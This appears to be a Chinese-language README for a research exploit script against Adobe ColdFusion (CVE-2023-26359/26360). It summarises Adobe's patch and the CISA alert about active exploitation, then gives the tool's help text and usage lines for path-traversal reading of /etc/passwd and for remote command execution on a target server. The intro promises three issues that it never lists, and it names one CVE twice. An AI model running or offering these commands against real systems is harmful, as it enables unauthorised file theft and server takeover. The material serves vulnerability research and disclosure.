2023 年 3 月 8 日，Adobe 发布了安全更新，以修复 Adobe ColdFusion（一款流行的 Web 应用程序开发平台）中的严重漏洞。这些漏洞被归类为不当访问控制和不安全的反序列化，当攻击者向 ColdFusion 服务器发送包含不可信数据的特制请求时，可导致未经授权的远程代码执行（RCE）。
该漏洞的利用无需用户交互，这使得它尤其严重，因为攻击者可以在用户不知情的情况下以当前用户的上下文执行任意代码。
美国网络安全和基础设施安全局（CISA）于 2023 年 12 月 5 日强调了此问题的严重性，发布了关于这些漏洞被积极利用的公告。他们指出，该漏洞正被网络威胁行为者利用，以获取面向公众的 Adobe ColdFusion Web 服务器的初始访问权限。其中最严重的漏洞CVSS 评分为 9.8，被归类为严重（Critical）。
因此，在进一步调查后，确认了三个不同的问题：
此漏洞利用脚本是为 vsociety) 上的 CVE 分析而编写的。
帮助：
usage: exploit.py [-h] --host HOST [--read-file READ_FILE] [--cmd CMD] [--endpoint ENDPOINT] [--win] [--proxy PROXY]
Exploit script for remote file read or command execution against Adobe ColdFusion (CVE-2023-26359, CVE-2023-26360, and CVE-2023-26359).
options:
-h, --help show this help message and exit
--host HOST Target host URL
--read-file READ_FILE, -f READ_FILE
File path to read from the host
--cmd CMD, -c CMD Command to execute on the target
--endpoint ENDPOINT Endpoint URL
--win Specify this if the target host is considered to be Windows.
--proxy PROXY Proxy URL
# Arbirary file read
python3 exploit.py --host http://localhost:8500 --read-file '../../../../etc/passwd'
# RCE
python3 exploit.py --host http://localhost:8500 --cmd 'CMD'
此漏洞利用脚本仅出于研究和开发有效防御技术的目的而创建，不应用于任何恶意或未经授权的活动。脚本的作者和所有者不承担因使用本软件而造成的任何滥用或损害的责任。强烈建议用户负责任地使用本软件，并仅遵守适用的法律法规。请负责任地使用。